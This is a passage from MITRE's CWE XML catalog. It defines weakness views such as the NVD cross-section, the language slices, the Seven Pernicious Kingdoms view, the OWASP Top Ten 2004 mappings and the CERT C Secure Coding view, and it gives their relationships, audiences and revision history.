					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>22</Relationship_Target_ID>
					          <!--Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>362</Relationship_Target_ID>
					          <!--Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>59</Relationship_Target_ID>
					          <!--Improper Link Resolution Before File Access ('Link Following')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>78</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>79</Relationship_Target_ID>
					          <!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>89</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>94</Relationship_Target_ID>
					          <!--Improper Control of Generation of Code ('Code Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Compound_Element</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>352</Relationship_Target_ID>
					          <!--Cross-Site Request Forgery (CSRF)-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>The set of CWE elements as used in NVD was created in summer of 2007.
						Since then, CWE has grown, so it is expected that this list will change. The
						current organization as used by NVD is captured in the following
						image.</Text>
					          <Image>
						            <Image_Location>http://nvd.nist.gov/images/cwe_cross_section_large.jpg</Image_Location>
						            <Image_Title>NVD cross-section of CWE</Image_Title>
					          </Image>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <References>
				        <Reference>
					          <Reference_Author>NIST</Reference_Author>
					          <Reference_Title>CWE - Common Weakness Enumeration</Reference_Title>
					          <Reference_Link>http://nvd.nist.gov/cwe.cfm</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships, References,
						View_Structure</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </View>
                    <View ID="658" Name="Weaknesses in Software Written in C" Status="Draft">
			      <View_Structure>Implicit_Slice</View_Structure>
			      <View_Objective>
				        <Text>This view (slice) covers issues that are found in C programs that are not
					common to all languages.</Text>
			      </View_Objective>
			      <View_Filter>.//Applicable_Platforms//@Language_Name='C'</View_Filter>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Name, View_Filter,
						View_Structure</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Weaknesses found in the C
						Language</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </View>
                    <View ID="659" Name="Weaknesses in Software Written in C++" Status="Draft">
			      <View_Structure>Implicit_Slice</View_Structure>
			      <View_Objective>
				        <Text>This view (slice) covers issues that are found in C++ programs that are not
					common to all languages.</Text>
			      </View_Objective>
			      <View_Filter>.//Applicable_Platforms//@Language_Name='C++'</View_Filter>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Name, View_Filter,
						View_Structure</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Weaknesses found in the C++
						Language</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </View>
                    <View ID="660" Name="Weaknesses in Software Written in Java" Status="Draft">
			      <View_Structure>Implicit_Slice</View_Structure>
			      <View_Objective>
				        <Text>This view (slice) covers issues that are found in Java programs that are not
					common to all languages.</Text>
			      </View_Objective>
			      <View_Filter>.//Applicable_Platforms//@Language_Name='Java'</View_Filter>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Name, View_Filter,
						View_Structure</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Weaknesses found in the Java
						Language</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </View>
                    <View ID="661" Name="Weaknesses in Software Written in PHP" Status="Draft">
			      <View_Structure>Implicit_Slice</View_Structure>
			      <View_Objective>
				        <Text>This view (slice) covers issues that are found in PHP programs that are not
					common to all languages.</Text>
			      </View_Objective>
			      <View_Filter>.//Applicable_Platforms//@Language_Name='PHP'</View_Filter>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Name, View_Filter,
						View_Structure</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Weaknesses found in the PHP
						Language</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </View>
                    <View ID="677" Name="Weakness Base Elements" Status="Draft">
			      <View_Structure>Implicit_Slice</View_Structure>
			      <View_Objective>
				        <Text>This view (slice) displays only weakness base elements.</Text>
			      </View_Objective>
			      <View_Filter>.//@Weakness_Abstraction='Base'</View_Filter>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated View_Filter, View_Structure</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </View>
                    <View ID="678" Name="Composites" Status="Draft">
			      <View_Structure>Graph</View_Structure>
			      <View_Objective>
				        <Text>This view (graph) displays only composite weaknesses.</Text>
			      </View_Objective>
			      <View_Filter>.//@Compound_Element_Structure='Composite'</View_Filter>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, View_Filter,
						View_Structure</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </View>
                    <View ID="679" Name="Chain Elements" Status="Draft">
			      <View_Structure>Implicit_Slice</View_Structure>
			      <View_Objective>
				        <Text>This view (slice) displays only weakness elements that are part of a
					chain.</Text>
			      </View_Objective>
			      <View_Filter>(.//Relationship_Nature='CanPrecede') or (@ID =
				//Relationship_Target_ID[../Relationship_Nature='CanPrecede'])</View_Filter>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated View_Filter, View_Structure</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </View>
                    <View ID="699" Name="Development Concepts" Status="Incomplete">
			      <View_Structure>Graph</View_Structure>
			      <View_Objective>
				        <Text>This view organizes weaknesses around concepts that are frequently used or
					encountered in software development. Accordingly, this view can align closely
					with the perspectives of developers, educators, and assessment vendors. It
					borrows heavily from the organizational structure used by Seven Pernicious
					Kingdoms, but it also provides a variety of other categories that are intended
					to simplify navigation, browsing, and mapping.</Text>
			      </View_Objective>
			      <View_Audience>
				        <Audience>
					          <Stakeholder>Assessment_Vendors</Stakeholder>
				        </Audience>
				        <Audience>
					          <Stakeholder>Developers</Stakeholder>
				        </Audience>
				        <Audience>
					          <Stakeholder>Educators</Stakeholder>
				        </Audience>
			      </View_Audience>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>View</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>629</Relationship_Target_ID>
					          <!--Weaknesses in OWASP Top Ten (2007)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>View</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>631</Relationship_Target_ID>
					          <!--Resource-specific Weaknesses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>View</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>701</Relationship_Target_ID>
					          <!--Weaknesses Introduced During Design-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>View</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>702</Relationship_Target_ID>
					          <!--Weaknesses Introduced During Implementation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>1</Relationship_Target_ID>
					          <!--Location-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>504</Relationship_Target_ID>
					          <!--Motivation/Intent-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
			      </Content_History>
		    </View>
                    <View ID="700" Name="Seven Pernicious Kingdoms" Status="Incomplete">
			      <View_Structure>Graph</View_Structure>
			      <View_Objective>
				        <Text>This view (graph) organizes weaknesses using a hierarchical structure that is
					similar to that used by Seven Pernicious Kingdoms.</Text>
			      </View_Objective>
			      <View_Audience>
				        <Audience>
					          <Stakeholder>Developers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>This view is useful for developers because it is organized around
							concepts with which developers are familiar, and it focuses on
							weaknesses that can be detected using source code analysis tools.</Text>
					          </Stakeholder_Description>
				        </Audience>
			      </View_Audience>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>388</Relationship_Target_ID>
					          <!--Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>2</Relationship_Target_ID>
					          <!--Environment-->
				</Relationship>
			      </Relationships>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>7PK</Term>
					          <Alternate_Term_Description>
						            <Text>"7PK" is frequently used by the MITRE team as an abbreviation.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
			      </Content_History>
		    </View>
                    <View ID="701" Name="Weaknesses Introduced During Design" Status="Incomplete">
			      <View_Structure>Implicit_Slice</View_Structure>
			      <View_Objective>
				        <Text>This view (slice) lists weaknesses that can be introduced during
					design.</Text>
			      </View_Objective>
			      <View_Filter>.//Introductory_Phase='Architecture and Design'</View_Filter>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal" Modification_Importance="Critical">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-02-10</Modification_Date>
					          <Modification_Comment>Updated the View_Filter to reflect new structure in CWE
						Schema v4.2</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated View_Filter</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </View>
                    <View ID="702" Name="Weaknesses Introduced During Implementation" Status="Incomplete">
			      <View_Structure>Implicit_Slice</View_Structure>
			      <View_Objective>
				        <Text>This view (slice) lists weaknesses that can be introduced during
					implementation.</Text>
			      </View_Objective>
			      <View_Filter>.//Introductory_Phase='Implementation'</View_Filter>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal" Modification_Importance="Critical">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-02-10</Modification_Date>
					          <Modification_Comment>Updated the View_Filter to reflect new structure in CWE
						Schema v4.2</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated View_Filter</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </View>
                    <View ID="709" Name="Named Chains" Status="Incomplete">
			      <View_Structure>Graph</View_Structure>
			      <View_Objective>
				        <Text>This view (graph) displays Named Chains and their components.</Text>
			      </View_Objective>
			      <View_Filter>.//@Compound_Element_Structure='Chain'</View_Filter>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
			      </Content_History>
		    </View>
                    <View ID="711" Name="Weaknesses in OWASP Top Ten (2004)" Status="Incomplete">
			      <View_Structure>Graph</View_Structure>
			      <View_Objective>
				        <Text>CWE nodes in this view (graph) are associated with the OWASP Top Ten, as
					released in 2004, and as required for compliance with PCI DSS version
					1.1.</Text>
			      </View_Objective>
			      <View_Audience>
				        <Audience>
					          <Stakeholder>Developers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>This view outlines the most important issues as identified by the
							OWASP Top Ten (2004 version), providing a good starting point for web
							application developers who want to code more securely, as well as
							complying with PCI DSS 1.1.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Software_Customers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>This view outlines the most important issues as identified by the
							OWASP Top Ten, providing customers with a way of asking their software
							developers to follow minimum expectations for secure code, in compliance
							with PCI-DSS 1.1.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Educators</Stakeholder>
					          <Stakeholder_Description>
						            <Text>Since the OWASP Top Ten covers the most frequently encountered issues,
							this view can be used by educators as training material for students.
							However, the 2007 version (CWE-629) might be more appropriate.</Text>
					          </Stakeholder_Description>
				        </Audience>
			      </View_Audience>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>725</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>726</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A5 - Buffer Overflows-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>727</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A6 - Injection Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>728</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A7 - Improper Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>729</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A8 - Insecure Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>730</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A9 - Denial of Service-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>CWE relationships for this view were obtained by examining the OWASP
						document and mapping to any items that were specifically mentioned within
						the text of a category. As a result, this mapping is not complete with
						respect to all of CWE. In addition, some concepts were mentioned in multiple
						Top Ten items, which caused them to be mapped to multiple CWE categories.
						For example, SQL injection is mentioned in both A1 (CWE-722) and A6
						(CWE-727) categories.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>Some parts of CWE are not fully fleshed out in terms of weaknesses. When
						these areas were mentioned in the Top Ten, category nodes were mapped,
						although general mapping practice would usually favor mapping only to
						weaknesses.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <References>
				        <Reference>
					          <Reference_Title>Top 10 2004</Reference_Title>
					          <Reference_Publisher>OWASP</Reference_Publisher>
					          <Reference_Date>2004-01-27</Reference_Date>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2004</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>PCI Security Standards Council</Reference_Author>
					          <Reference_Title>About the PCI Data Security Standard (PCI
						DSS)</Reference_Title>
					          <Reference_Link>https://www.pcisecuritystandards.org/security_standards/pci_dss.shtml</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter_Organization>Veracode</Submitter_Organization>
					          <Submission_Date>2008-08-15</Submission_Date>
					          <Submission_Comment>Suggested creation of view and provided
						mappings</Submission_Comment>
				        </Submission>
			      </Content_History>
		    </View>
                    <View ID="734" Name="Weaknesses Addressed by the CERT C Secure Coding Standard" Status="Incomplete">
			      <View_Structure>Graph</View_Structure>
			      <View_Objective>
				        <Text>CWE entries in this view (graph) are fully or partially eliminated by
					following the CERT C Secure Coding Standard. Since not all rules map to specific
					weaknesses, this view is incomplete.</Text>
			      </View_Objective>
			      <View_Audience>
				        <Audience>
					          <Stakeholder>Developers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>By following the CERT C Secure Coding Standard, developers will be
							able to fully or partially prevent the weaknesses that are identified in
							this view. In addition, developers can use a CWE coverage graph to
							determine which weaknesses are not directly addressed by the standard,
							which will help identify and resolve remaining gaps in training, tool
							acquisition, or other approaches for reducing weaknesses.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Software_Customers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>If a software developer claims to be following the CERT C Secure
							Coding standard, then customers can search for the weaknesses in this
							view in order to formulate independent evidence of that claim.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Educators</Stakeholder>
					          <Stakeholder_Description>
						            <Text>Educators can use this view in multiple ways. For example, if there is
							a focus on teaching weaknesses, the educator could link them to the
							relevant Secure Coding Standard.</Text>
					          </Stakeholder_Description>
				        </Audience>
			      </View_Audience>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>735</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 01 - Preprocessor (PRE)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>736</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>737</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 03 - Expressions (EXP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>738</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>739</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 05 - Floating Point (FLP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
